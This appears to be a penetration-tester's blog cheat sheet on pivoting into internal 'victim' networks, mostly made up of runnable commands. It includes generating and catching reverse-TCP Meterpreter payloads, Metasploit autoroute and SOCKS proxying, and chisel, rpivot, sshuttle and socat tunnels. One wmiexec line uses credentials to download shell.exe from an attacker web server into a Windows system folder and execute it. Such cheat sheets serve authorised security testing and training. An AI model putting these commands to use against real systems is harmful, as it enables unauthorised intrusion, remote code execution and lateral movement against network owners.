Accessing a Victim network from Windows box which is pivoted to Kali
#On Kali
sshuttle --listen 0.0.0.0 -r user@10.10.10.10 192.168.1.0/24
#On windows
route print
#delete default route
route delete 0.0.0.0
#add a new route to kali- setting kali ip as gateway; kali_ip=which is on the same subnet as the windows box
route add 0.0.0.0 mask 0.0.0.0 KALI_IP
#Now you should be able to access all the sites which are accessible on kali from windows box.
#to revert the changes; 192.168.206.2
route delete 0.0.0.0
route add 0.0.0.0 mask 0.0.0.0 VMWare_Gateway
Get a Meterpreter on the Target and add a route to attacker machine
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.14.14.3 LPORT=4444 -f elf -o rev
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 10.14.14.3
set LPORT 4444
run
background
sessions -i
use post/multi/manage/autoroute
set SUBNET 192.168.125.0
set SESSION 4
run
use auxiliary/server/socks_proxy
set SRVPORT 1060
run
Getting a Meterpreter Session from an Internal Network to which you do not have direct CLI access but RCE is possible
┌──(Bhanu㉿HackingDream)-[~]
└─$ ./chisel server --port 9002 -reverse
user@victim:/tmp$ ./chisel client KALI_IP:9002 6666:127.0.0.1:6666
Create a Staged Payload using HackTheWorld or msfvenom,
Go to Meterpreter Session
background
use exploit/multi/handler
set payload windows/meterpreter_reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run
upload the reverse shell somewhere in the internal network and run it on the target machine using some other means.
Example:
proxychains wmiexec.py -debug -nooutput domain/username:'P@$$W0rd1'@192.168.111.111"powershell.exe Invoke-WebRequest -Uri 'http://192.111.110:8000/shell.exe' -OutFile 'C:\Windows\System32\spool\drivers\color\shell.exe'; cmd.exe /c C:\Windows\System32\spool\drivers\color\shell.exe"
Starting a Reverse Tunnel using Chisel
┌──(Bhanu㉿HackingDream)-[~/
└─$ ./chisel server --reverse
on Victim:
chisel.exe client http://10.14.14.14:8080 R:0.0.0.0:1080:socks
#when the user is connected you should see the below connection on your kali machine
server: session#1: tun: proxy#R:1080=>socks: Listening
use proxychains to connect to any ip/port accessible from the target machine locally on your kali box
Using RPivot to connect to Internal network
┌──(bhanu㉿kali)-[~/Downloads/Tools/Pivot /rpivot]
└─$ python2.7 server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
New connection from host 10.10.10.12, source port 4329
on Victim/Target:
python client.py --server-ip 10.10.10.10 --server-port 9999
#sudo nano /etc/proxychains.conf
socks4 127.0.0.1 1080
Access victim network using proxychains tool_name
Pivoting using SShuttle
shuttle --listen 0.0.0.0 -r username@10.10.10.10 192.168.2.0/24
Using Socat to Setup a relay to the target server
#on the jumpbox from where the target server is accessible
.\socat.exe tcp-listen:1433,tcp-connect:TARGET_SERVER_IP:1433
#Setup a relay from the jumpbox to Kali, so that we can access the target from the attacker machine
#Local SQL Client → Kali → Socat → Jumpbox → Socat → TARGET_SERVER
socat tcp-l:1433,fork tcp:JUMP_BOX:1433
Adding a Route to a different network which is accessible
#sudo ip route add CIDR dev Interface
sudo ip route add 10.10.0.0/24 dev tun2
Port Forwarding an Internal Network
ssh -i id_rsa bhanu@10.10.10.10
ssh -L 80:192.168.1.5:80 -i id_rsa bhanu@10.10.10.10
Comments
Post a Comment